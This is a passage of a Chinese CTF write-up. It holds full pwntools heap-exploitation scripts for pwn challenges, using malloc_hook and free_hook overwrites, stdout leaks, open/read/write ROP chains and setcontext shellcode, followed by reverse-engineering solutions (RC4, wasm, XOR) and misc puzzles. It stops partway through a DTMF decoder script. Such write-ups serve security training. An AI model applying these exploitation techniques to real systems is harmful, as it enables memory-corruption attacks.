    one_gadget  = one[3] + libc_base

    #fuck the malloc_hook and libc_realloc

    delete(1)

    delete(0)

    edit(0,p64(malloc_hook - 0x23))

    add(0)

    add(1)

    payload = b'x00'*11+p64(one_gadget)+p64(realloc+0x10)

    edit(1,payload)

    delete(0)

    delete(0)

    io.interactive()

    3.h3apclass

    首先分析题目,经典菜单题,不过没有show libc2.31

    漏洞点在edit中,因为使用的是strlen,因此造成溢出。

    leak_libc 部分: 通过溢出更改chunk的size为0x430直接进入unsorted bin

    然后再不断申请切割该unsorted bin 以达到unsorted bin 与 tcache重叠的效果,最后爆破一位 1/16 出stdout leak出libc

    get_flag 部分 :一开始用setcontext写的,但一直没有成。

    后面想用environ泄露出栈地址,但因为没有show失败,

    后来想到这个是题黑名单,只是禁用了execve。于是改free_hook为printf地址,然后给printf传入%15$p 泄露出栈上的地址,得到add函数的返回地址。

    最后直接把orw链打入add的ret地址处,打印出flag。

    checksec

    保护全开,然后google了一下,libc版本为2.31-0ubuntu9.2_amd64。

    漏洞点

    image-20211107235153925

    exp :

    from pwn import*


    context.log_level = "debug"

    io = process("./H3apClass")

    #io = remote("node4.buuoj.cn","28143")

    libc = ELF("./libc.so.6",checksec = 0)


    def fuck(choice):

        io.sendlineafter("4:Drop homeworkn",str(choice))

    def add(index,size,content):

        fuck(1)

        io.sendlineafter("Which homework?n",str(index))

        io.sendlineafter("size:n",str(size))

        io.sendlineafter("content:n",content)

    def Add(index,size,content):

        fuck(1)

        io.sendlineafter("Which homework?n",str(index))

        io.sendlineafter("size:n",str(size))

        io.sendafter("content:n",content)

    def edit(index,content):

        fuck(3)

        io.sendlineafter("Which homework?n",str(index))

        io.sendafter("content:n",content)

    def delete(index):

        fuck(4)

        io.sendlineafter("Which homework?n",str(index))

    def look():

        global io

        gdb.attach(io)


    """

    def pwn():

        #gdb.attach(io)

        add(0,0x18,b"0"*0x18)

        add(1,0xf8,b"1"*0xf8)

        add(2,0xf8,b"2"*0xf8)

        add(3,0xf8,b"3"*0xf8)

        add(4,0xf8,b"4"*0xf8)

        add(5,0x28,b"a"*0x28)

        add(6,0xf8,b"5"*0xf8)

        edit(5,b"a"*0x20 + p64(0x430) + p64(0x100))

        edit(0,b"a"*0x10 + p64(0) + p64(0x430))

        delete(6)

        look()

    pwn()

    """

    def pwn():

        #gdb.attach(io)

        add(0,0x18,b"a"*0x18)

        add(1,0xf8,b"wangwang1")

        add(2,0xf8,b"wangwang2")

        add(3,0xf8,b"wangwang2")

        add(4,0xf8,b"wangwang2")

        add(5,0x28,"fuck_libc")

        delete(4)

        add(4,0x18,"eeeenb")

        add(6,0x28,p64(0)+p64(0x21))

        edit(0,b"a"*0x10+p64(0)+b"x51x04")

        delete(0)

        delete(1)

        for i in range(2,5):

            delete(i)

        for i in range(2,5):

            add(i,0xe8,"a")

        for i in range(2,5):

            delete(i)

        delete(6)

        delete(5)

        add(2,0xd8,"2")

        add(3,0x48,b"3")

        Add(4,0x38,b"xa0x36")

        delete(2)

        delete(3)

        #pause()

        add(2,0x28,"0")

        paylaod = p64(0xfbad1887)+p64(0)*3+b"x58"

        add(3,0x28,paylaod)

        libc_base = u64(io.recvuntil("x7f",timeout=0.1)[-6:].ljust(8,b'x00'))-0x1ed4a0 # _IO_2_1_stderr_+216 store _IO_file_jumps

        if libc_base == -0x1ed4a0:

            exit(-1)

        libc_base = libc_base - 0x7fcee3001afc + 0x7fcee3037000

        success("libc_base:"+hex(libc_base))

        free_hook = libc_base + libc.sym["__free_hook"]

        system = libc_base  + libc.sym["system"]

        printf = libc_base + libc.sym["printf"]

        environ = libc_base + libc.sym["environ"]

        setcontext = libc_base + libc.sym["setcontext"]



        read = libc_base + libc.sym["read"]

        write = libc_base + libc.sym["write"]

        open = libc_base + libc.sym["open"]

        pop_rdi_ret = libc_base + 0x26b72

        pop_rdx_r12 = libc_base + 0x11c371

        pop_rsi_ret = libc_base +0x27529

        pop_rax_ret = libc_base + 0x4a550

        syscall_ret = read + 0xf

        ret = libc_base + 0x25679 



        success("free_hook:"+hex(free_hook))

        #look()

        delete(4)

        add(4,0x40,b"a"*0x40)

        edit(4,p64(0)*5+p64(0x21)+p64(free_hook))

        add(0,0x18,b"%15$p")

        add(6,0x18,p64(printf)+b"flag"+b"x00"*4) 

        delete(0)

        info  = int(io.recv(14),16)

        success("stack_addr:"+hex(info)) #the_main_ret

        add_ret = info - 0x7ffd26ceb5e8  + 0x7ffd26ceb4d8

        success("add_ret:"+hex(add_ret))

        add(0,0xe0,p64(0)*4 + p64(add_ret))

        delete(0)

        delete(4) 

        add(0,0xf8,b"0")



        flag_addr = free_hook + 0x8

        orw = p64(pop_rdi_ret) + p64(flag_addr)

        orw += p64(pop_rsi_ret) + p64(0) #The open arg2 = 0 -> only read

        #orw += p64(pop_rax_ret) + p64(2)

        #orw += p64(syscall_ret)

        orw += p64(open)

        orw += p64(pop_rdi_ret) + p64(3)

        orw += p64(pop_rsi_ret) + p64(flag_addr+0x8)

        orw += p64(pop_rdx_r12) + p64(0x40) + p64(0)

        orw += p64(read)

        orw += p64(pop_rdi_ret) + p64(1);

        orw += p64(write)



        add(4,0xf8,orw)

        io.recvuntil("flag")

        sleep(100)

        io.interactive()

    while True:

        try :

            #io = process("./H3apClass")

            io = remote("node4.buuoj.cn","29896")

            pwn()

        except:

            io.close

            continue


    或者
    #!/usr/bin/python3
    from pwncli import *

    cli_script()

    p:tube = gift['io']
    elf:ELF = gift['elf']
    libc: ELF = gift['libc']

    context.update(timeout=3)

    def add(idx, size, data="deadbeef"):
        p.sendlineafter("4:Drop homework\n", "1")
        p.sendlineafter("Which homework?\n", str(idx))
        p.sendlineafter("size:\n", str(size))
        p.sendafter("content:\n", data)

    def edit(idx, data):
        p.sendlineafter("4:Drop homework\n", "3")
        p.sendlineafter("Which homework?\n", str(idx))
        p.sendafter("content:\n", data)


    def dele(idx):
        p.sendlineafter("4:Drop homework\n", "4")
        p.sendlineafter("Which homework?\n", str(idx))

    cat_flag = asm(shellcraft.amd64.linux.cat("/flag"))

    # forge 0x500 chunk
    add(0, 0x18, 0x18*"a")
    add(1, 0xf8)
    add(2, 0xf8)
    add(3, 0xf8)
    add(4, 0xf8)
    add(5, 0xf8)
    add(6, 0x18)

    # free space
    dele(6)
    dele(5)
    dele(4)
    dele(3)
    dele(2)

    # chaneg size
    edit(0, 0x18*"a" + "\x01\x05")
    dele(1)

    # consume 0x100
    add(1, 0x70)
    add(2, 0x70)

    log_ex(f"Now try to attack stdout...")

    if gift['debug']:
        payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])
    else:
        payload = p16_ex(0x86a0)

    add(3, 0x70, payload)

    # free space
    dele(1)
    dele(2)

    add(1, 0xf8)

    # leak libc addr
    add(2, 0xf8, flat([
        0xfffffbad1887, 0, 0, 0, "\x00"
    ]))

    libc_base = recv_libc_addr(p) - 0x1eb980
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    dele(1)
    dele(0)

    # leak heap addr
    edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])
    add(0, 0x70)
    add(1, 0x70, flat([
        0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8
    ]))

    m = p.recvn(16)
    heap_base = u64_ex(m[8:]) - 0x21000
    log_heap_base_addr(heap_base)

    dele(0)
    # change __free_hook
    # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    edit(3, p64(libc.sym['__free_hook'])[:6])
    add(0, 0x70, cat_flag)
    add(4, 0x70, p64_ex(0x0000000000154930 + libc_base))

    # read flag
    cur_heap = heap_base + 0x1450

    payload = flat({
        8: cur_heap,
        0x20: libc.sym['setcontext']+61,
        0x30: heap_base + 0x13d0,
        0xa0: cur_heap+0x30, # rsp
        0xa8: libc.sym['mprotect'],
        0x68: heap_base,
        0x70: 0x4000,
        0x88: 7
    })

    add(5, 0xe8, payload)

    dele(5)

    m = p.recvline_contains("flag")

    if b"flag" in m:
        log_ex_highlight(f"Get flag: {m}")
        sleep(20)

    p.close()


    Reverse

    1.EasyRe

    下载附件,是一个32位的exe可执行程序。

    用ida打开,直接shift+F12进行字符串查找即可,并查看字符串

    发现一个奇怪的字符串,

    尝试提交

    发现就是flag:

    flag{fc5e038d38a57032085441e7fe7010b0}

    2.findme

    解题思路
    main函数里面F5,核心逻辑在off_403844
    puts("Please input your flag:");
      scanf("%s", Str);
      if ( sub_401610(Str) )
      {
        if ( off_403844("SETCTF2021", Str) )
          printf("Success!");
        else
          printf("Wrong!");
      }
    进去off_403844,竟然指向strcmp,很明显有问题,输入是长度26比对字符串不足26
    交叉引用off_403844,找到真正的比对函数
    int __cdecl sub_401866(char *key, char *input)
    {
      //...
      for ( i = 0; ; ++i )
      {
        v2 = i;
        if ( v2 >= strlen(key) )
          break;
        v7[i] = key[i];
      }
      memset(v6, 0, sizeof(v6));
      for ( j = 0; ; ++j )
      {
        v3 = j;
        if ( v3 >= strlen(input) )
          break;
        v6[j] = input[j];
      }
      v10 = strlen(v6);
      v4 = strlen(v7);
      rc4_init(v9, v7, v4);
      for ( k = 0; k <= 255; ++k )
        v8[k] = v9[k];
      rc4_crypt(v8, v6, v10);
      for ( l = 0; l <= 511; ++l )
      {
        if ( v6[l] != dword_403040[l] )
          return 0;
      }
      return 1;
    }



    拿到题目直接丢IDA的时候看到如下伪代码


    sub_401610是判断是否长度为26

    但是怪就怪在这个off_403844函数,我点进去之后看到是strcmp

    搞得我一直以为off_403844就是strcmp函数

    直到我翻到了这个

    于是乎就用OD跑了一遍

    eax的值确实是401866,而该地址上面是一个函数栈帧,回到IDA伪代码查看


    点看Sub_40164C就可以看出是一个RC4算法

    最后与对应的密文比较


    403040的值是

    最后的解密过程,先通过调试获取26个0的异或结果,再编写如下脚本

    s=[  0xD4, 0x27, 0xE1, 0xB2, 0xF4, 0x9F, 0x4C, 0xDC, 0xBC, 0x1B,
      0x80, 0xD2, 0x44, 0x8B, 0xEA, 0x33, 0x02, 0x4E, 0x41, 0xEB,
      0x8D, 0x23, 0x6F, 0xBC, 0x00, 0x8B]
    d='00000000000000000000000000'
    a=[0xFFFFFFB7, 0x00000052, 0xFFFFFF85, 0xFFFFFFC1, 0xFFFFFF90, 0xFFFFFFE9, 0x00000007, 0xFFFFFFB8, 0xFFFFFFE4, 0x0000001A, 0xFFFFFFC3, 0xFFFFFFBD, 0x0000001D, 0xFFFFFF8E, 0xFFFFFF85, 0x00000046, 0x00000000, 0x00000021, 0x00000044, 0xFFFFFFAF, 0xFFFFFFEF, 0x00000070, 0x00000032, 0xFFFFFFB5, 0x00000011, 0xFFFFFFC6]
    for i in range(len(a)):
        print((chr(s[i]^ord(d[i])^(a[i]&0xff))),end='')
    #SETCTF{Th1s_i5_E2_5tRcm9!}

    或者

    就是个rc4,解题脚本

    #include <stdio.h>
    #include "defs.h"
    // #include <iostream>
    #include <inttypes.h>

    void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数
    {
        int i =0, j = 0;
        char k[256] = {0};
        unsigned char tmp = 0;
        for (i=0;i<256;i++) {
            s[i] = i;
            k[i] = key[i%Len];
        }
        for (i=0; i<256; i++) {
            j=(j+s[i]+k[i])%256;
            tmp = s[i];
            s[i] = s[j]; //交换s[i]和s[j]
            s[j] = tmp;
        }
     }

    void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密
    {
        int i = 0, j = 0, t = 0;
        unsigned long k = 0;
        unsigned char tmp;
        for(k=0;k<Len;k++) {
            i=(i+1)%256;
            j=(j+s[i])%256;
            tmp = s[i];
            s[i] = s[j]; //交换s[x]和s[y]
            s[j] = tmp;
            t=(s[i]+s[j])%256;
            Data[k] ^= s[t];
         }


    int main(){
      uint8_t k[]="SETCTF2021";
      uint8_t s[256];
      uint8_t t[512];
      uint32_t target[]={4294967223, 82, 4294967173, 4294967233, 4294967184, 4294967273, 7, 4294967224, 4294967268, 26, 4294967235, 4294967229, 29, 4294967182, 4294967173, 70, 0, 33, 68, 4294967215, 4294967279, 112, 50, 4294967221, 17, 4294967238, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
      for(size_t i=0;i<sizeof(target)/4;i++){
          t[i]=target[i];
      }
      rc4_init(s,k,sizeof(k)-1);
      rc4_crypt(s,t,512);
      printf("%s\n",t);

    }
    #SETCTF{Th1s_i5_E2_5tRcm9!}

    3.Eat_something

    这题非常有趣,是一道wasm的基础逆向题目。

    拿到题目后发现页面有一个输入框,任意输入之后点击按钮会提示错误,右键查看源代码可以看到如下JS:

    <script>
        Module.onRuntimeInitialized = function (){
            checkright = Module.cwrap('checkright', 'string', ['string'])
        }
        function nice(){
            var inpObj = document.getElementById("id1");
            document.write(checkright(inpObj.value))
            if(checkright(inpObj.value) === "You are right!"){
                document.write(inpObj.value)
            }
        }
    <script>

    这里调用了Module.cwrap加载了C函数checkright,f12打开Source查看源代码就可以看到有一个.wasm结尾的文件


    将该文件下载下来后

    这里使用wabt工具:https://github.com/WebAssembly/wabt

    然后使用里面的wasm2c将wasm文件转换成c文件

    wasm2c.exe Eat_something.wasm -o Eat_something.c

    之后会在当前目录中生成Eatsomething.c和Eatsomething.h

    这时候如果直接阅读源码是非常难受的,还需要用gcc将其编译成二进制文件再拖到IDA中分析


    这里可以看到是将异或后的值与常量池中的比较,而常量datasegmentdata0打开Eatsomething.c就可以看到,其中与运算0xff其实就是对256取余,这里注释写错了。

    static const u8 data_segment_data_0[] = {
      0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd,
      0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d,
      0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69,
      0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65,
      0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00,
    };

    poc的逻辑就是遍历这些数组的元素,然后异或再除2就可得到flag的串了

    data_segment_data_0 = [ 0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd,   0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d,   0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69,   0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65,   0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00 ]

    flag = ''
    for i in range(len(data_segment_data_0)):
        flag += chr((i ^ data_segment_data_0[i]) / 2)

    print(flag)
    #CETCTF{Th0nk_Y0u_DocTOr51}


    4.power

    记事本打开瞅一波

    有很多含有aes的字符串,继续往下

    发现个this_is_a_key!!!

    这下aes应该跑不脱了,直接网站解密即可

    flag为:

    flag{y0u_found_the_aes_12113112}

    5. EasyRE_Revenge

    main函数长得和第一题 EasyRe 一样,很遗憾不是白给:
    `
    那个加密函数也是有问题,一堆的花指令,根本没法看,动调吧:
    开始一串连跑带跳的,初始化了一个数组:
    再往后到这里是第一轮加密:

    没别的,就是异或。
    再往后就是另一轮加密,后面说,把这两轮加密的硬编码直接dump下来,扔到IDA里面:
    虽然看着还是难受,但逻辑好歹是出来了,整理了一下:
    char flag[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
    DWORD key[] = { 0x271E150C, 0x3B322920, 0x5F564D44, 0x736A6158, 0x978E857C, 0xABA29990, 0xCFC6BDB4, 0xE3DAD1C8 };
    DWORD v5[10]{0};
    for (i = 0; i < 8; i++) {
            v5[i] = *(DWORD*)(flag+i*4) ^ key[(7 * i + 2) % 8];
        }
    for (i = 0; i < 8; i++) {
            v5[i] ^= v5[i] << 7;
            v5[i] ^= key[(7 * i + 3) % 8];
            v5[i] ^= v5[(5 * i + 3) % 8];
            v5[i] ^= v5[i] << 13;
            v5[i] ^= key[(7 * i + 5) % 8];
            v5[i] ^= v5[i] << 17;
        }

    EXP:

    DWORD key[] = { 0x271E150C, 0x3B322920, 0x5F564D44, 0x736A6158, 0x978E857C, 0xABA29990, 0xCFC6BDB4, 0xE3DAD1C8 };
    BYTE v6[] = { 0x42,0xb0,0xe8,0xee,0x6c,0xee,0xd0,0x57,0x32,0x4b,0xf5,0xf3,0xd6,0xb7,0xf0,0xd3,0x89,0xc3,0x61,0x0a,0x40,0xba,0xc7,0x38,0x2c,0x9e,0x3d,0x0c,0x84,0x92,0x4a,0xd6,0x00};
    int i = 0;
    DWORD* v5 = (DWORD*)v6;
    DWORD xx, yy = 0;
    for (i = 7; i >= 0; i--) {
            v5[i] ^= (v5[i] & 0b111111111111111) << 17;
            v5[i] ^= key[(7 * i + 5) % 8];

            xx = v5[i] & 0b1111111111111;  // 后 13 位
            v5[i] ^= xx << 13;  // 修复 6 - 19 位
            xx = (v5[i] & 0b1111110000000000000) << 13;
            v5[i] ^= xx;

            v5[i] ^= v5[(5 * i + 3) % 8];
            v5[i] ^= key[(7 * i + 3) % 8];

            yy = v5[i] & 0b1111111;  // 获取 25 - 32 位
            v5[i] ^= yy << 7;  // 修复 18 - 25 位
            yy = v5[i] & 0b11111110000000;  // 后 7 位
            v5[i] ^= yy << 7;  // 修复 11 - 18 位
            yy = v5[i] & 0b111111100000000000000;
            v5[i] ^= yy << 7;  // 修复 4 - 11 位
            yy = ((v5[i] << 7) & 0xFFFFFFFF) & 0b11110000000000000000000000000000;
            v5[i] ^= yy;  // 修复 4 - 11 位
        }
    for (i = 0; i < 8; i++) {
            *(DWORD*)(v6 + i * 4) ^= key[(7 * i + 2) % 8];
        }
    printf("%s\n", (char*)v5);

    FLAG : flag{bd6a64f17bb3dc065b41a0aad1e48e98}

    6、O

    打开 run.log ,在其中发现一些比较可疑的长整型数:
    试着将其转为hex:

    有Unicode字符串那味了。全部提取出来看看:
    V@QFQC~=a<<5dd==5<121c63<4c260`706cafd`x
    回 log 里面翻了一下,有这个 XorI,应该是异或,然后试着简单爆破一下

    import binascii

    xxx = [19703596266291286, 17170514749620305, 14918431467634785, 17170235578908772, 14073959292862517, 14355455746965553,
           14074174040703036, 15481536039092278, 27303497946234928, 33777409528692838]
    xx = ""
    for i in xxx:
        temp = hex(i)[2:].replace("00", "")
        xx = xx + temp[6:8] + temp[4:6] + temp[2:4] + temp[0:2]
    print()

    xx = binascii.a2b_hex(xx)

    for i in range(1, 256):
        for j in xx:
            print(chr(j ^ i), end="")
        print()


    FLAG: SETCTF{8d990aa8809474f3691f735e253fdcae}

    MISC

    1.soEasyCheckin

    下载附件得到一串base编码,但是直接解开会乱码,仔细观察发现其中夹杂着一个$符号

    于是尝试去解前半部分的base,发现是base32


    e5b9b3e7ad89e5928ce8b090e887aae794b1e5b9b3e7ad89e5b9b3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5b9b3e7ad89e5b9b3e7ad89e6b091e4b8bbe585ace6ada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e69687e6988ee58f8be59684e6b395e6b2bbe887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e58f8be59684e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e585ace6ada3e6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89e695ace4b89ae6b395e6b2bbe5b9b3e7ad89e585ace6ada3e6b091e4b8bbe585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e69688

    hex解码得到:

    平等和谐自由平等平等自由法治友善平等平等民主公正敬业和谐文明平等爱国公正敬业公正诚信自由和谐民主平等爱国公正敬业公正平等和谐文明自由友善公正公正敬业和谐自由文明友善法治自由友善公正公正友善敬业公正诚信自由公正法治和谐和谐平等敬业法治平等公正民主公正诚信自由和谐


    核心价值观解码报错了,最后发现把最后的和谐两个字去除就行了

    解码得到前半部分得flag:

    SET{Qi2Xin1Xie2Li4-Long3Yuan

    后半部分同样是base32,按道理来说可以直接解开,但是这里乱码了,原因是长度不够,于是在前面添上777


    可以得到:

    6988ee5b9b3e7ad89e58f8be59684e887aae794b1e585ace6ada3e788b1e59bbde585ace6ada3e6b091e4b8bbe585ace6ada3e58f8be59684e788b1e59bbde5928ce8b090e887aae794b1e5b9b3e7ad89e695ace4b89ae585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e6b395e6b2bbe8af9ae4bfa1e5928ce8b090

    这里hex解码又是乱码,把第一个6删掉,再解码得到平等友善自由公正爱国公正民主公正友善爱国和谐自由平等敬业公正敬业和谐自由法治诚信和谐

    再解码得到Zhan4Yi4},但是注意少了一个数字,因为每一个拼音后面都有一个数字,在前半段

    flag:

    SET{Qi2Xin1Xie2Li4-Long3Yuan中的Yuan后面肯定是有一个数字的,经过一个一个试,最终得到是2

    所以完整flag为:

    SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4}

    2.打败病毒

    下载附件,发现是MC,根据描述来看应该是杀掉BOSS之后就能获得flag

    进入游戏,首先肯定是要给自己来称手一把好剑啦,直接输入指令/give @p minecraft:diamond_sword 1 0 {ench:[{id:16,lvl:32727}]},想获得附魔的钻石剑,但是提示权限不过,应该是这个mod禁用了作弊。

    但是这难不倒咱们老MC玩家了,直接选择对局域网开放,并且勾选上允许作弊,游戏模式选择创造模式,然后就能输入刚才的指令获得钻石剑了

    这里是有一个穿越的门的,跳进去就会到另外一个时空,里面是有boss的,但是进去了之后我们在一个平台上,到达不了龙的位置,所以要进入创造模式,输入/gamemode 1,现在双击空格就能飞起来了

    对着这条龙就是一刀斩!打死了之后有个墓碑,看起来也是一个传送门

    进去之后,就提醒通关了,然后给了一串base编码

    通过base62解码得到flag

    flag为:

    SETCTF{Fi9ht1ng_3ItH_V1rUs}


    3.SOS

    下载附件,又是MC,这次不是打怪了,这次一进去,就听到了拨号的音,然后旁边是 很多按钮,通过踩下这些按钮,旁边就落下来一些东西

    通过这些就可以猜想 通过DTMF的脚本来识别这段拨号音频,得到按键的循序,通过这个顺序依次踩下按钮,用手机将音频录制下来,然后转为wav格式的音频

    DTMF脚本地址:https://github.com/ribt/dtmf-decoder

    DTMF脚本:

    #!/usr/bin/env python3


    import numpy as np

    import matplotlib.pyplot as plt

    from scipy.io import wavfile

    import argparse



    dtmf = {(697, 1209): "1", (697, 1336): "2", (697, 1477): "3", (770, 1209): "4", (770, 1336): "5", (770, 1477): "6",

            (852, 1209): "7", (852, 1336): "8", (852, 1477): "9", (941, 1209): "*", (941, 1336): "0", (941, 1477): "#",

            (697, 1633): "A", (770, 1633): "B", (852, 1633): "C", (941, 1633): "D"}



    parser = argparse.ArgumentParser(description="Extract phone numbers from an audio recording of the dial tones.")

    parser.add_argument("-v", "--verbose", help="show a complete timeline", action="store_true")

    parser.add_argument("-l", "--left", help="left channel only (if the sound is stereo)", action="store_true")

    parser.add_argument("-r", "--right", help="right channel only (if the sound is stereo)", action="store_true")

    parser.add_argument("-d", "--debug", help="show graphs to debug", action="store_true")

    parser.add_argument("-t", type=int, metavar="F", help="acceptable frequency error (in hertz, 20 by default)",

                        default=20)

    parser.add_argument("-i", type=float, metavar='T', help="process by T seconds intervals (0.04 by default)",

                        default=0.04)



    parser.add_argument('file', type=argparse.FileType('r'))



    args = parser.parse_args()



    file = args.file.name

    try:

        fps, data = wavfile.read(file)

    except FileNotFoundError:

        print("No such file:", file)

        exit()

    except ValueError:

        print("Impossible to read:", file)

        print("Please give a wav file.")

        exit()



    if args.left and not args.right:

        if len(data.shape) == 2 and data.shape[1] == 2:

            data = np.array([i[0] for i in data])

        elif len(data.shape) == 1:

            print("Warning: The sound is mono so the -l option was ignored.")

        else:

            print("Warning: The sound is not mono and not stereo (" + str(

                data.shape[1]) + " canals)... so the -l option was ignored.")





    elif args.right and not args.left:

        if len(data.shape) == 2 and data.shape[1] == 2:

            data = np.array([i[1] for i in data])

        elif len(data.shape) == 1:

            print("Warning: the sound is mono so the -r option was ignored.")

        else:

            print("Warning: The sound is not mono and not stereo (" + str(

                data.shape[1]) + " canals)... so the -r option was ignored.")



    else:

        if len(data.shape) == 2:

            data = data.sum(axis=1)  # stereo



    precision = args.i



    duration = len(data) / fps



    step = int(len(data) // (duration // precision))



    debug = args.debug

    verbose = args.verbose

    c = ""



    if debug:

        print(

            "Warning:nThe debug mode is very uncomfortable: you need to close each window to continue.nFeel free to kill the process doing CTRL+C and then close the window.n")



    if verbose:

        print("0:00 ", end='', flush=True)



    try:

        for i in range(0, len(data) - step, step):

            signal = data[i:i + step]



            if debug:

                plt.subplot(311)

                plt.subplots_adjust(hspace=0.5)

                plt.title("audio (entire signal)")

                plt.plot(data)

                plt.xticks([])

                plt.yticks([])

                plt.axvline(x=i, linewidth=1, color='red')

                plt.axvline(x=i + step, linewidth=1, color='red')

                plt.subplot(312)

                plt.title("analysed frame")

                plt.plot(signal)

                plt.xticks([])

                plt.yticks([])



            frequencies = np.fft.fftfreq(signal.size, d=1 / fps)

            amplitudes = np.fft.fft(signal)



            # Low

            i_min = np.where(frequencies > 0)[0][0]

            i_max = np.where(frequencies > 1050)[0][0]



            freq = frequencies[i_min:i_max]

            amp = abs(amplitudes.real[i_min:i_max])



            lf = freq[np.where(amp == max(amp))[0][0]]



            delta = args.t

            best = 0



            for f in [697, 770, 852, 941]:

                if abs(lf - f) < delta:

                    delta = abs(lf - f)

                    best = f



            if debug:

                plt.subplot(313)

                plt.title("Fourier transform")

                plt.plot(freq, amp)

                plt.yticks([])

                plt.annotate(str(int(lf)) + "Hz", xy=(lf, max(amp)))



            lf = best



            # High

            i_min = np.where(frequencies > 1100)[0][0]

            i_max = np.where(frequencies > 2000)[0][0]



            freq = frequencies[i_min:i_max]

            amp = abs(amplitudes.real[i_min:i_max])



            hf = freq[np.where(amp == max(amp))[0][0]]



            delta = args.t

            best = 0



            for f in [1209, 1336, 1477, 1633]:

                if abs(hf - f) < delta:

                    delta = abs(hf - f)

                    best = f



            if debug:

                plt.plot(freq, amp)

                plt.annotate(str(int(hf)) + "Hz", xy=(hf, max(amp)))



            hf = best



            if debug:

                if lf == 0 or hf == 0:

                    txt = "Unknown dial tone"

                else:

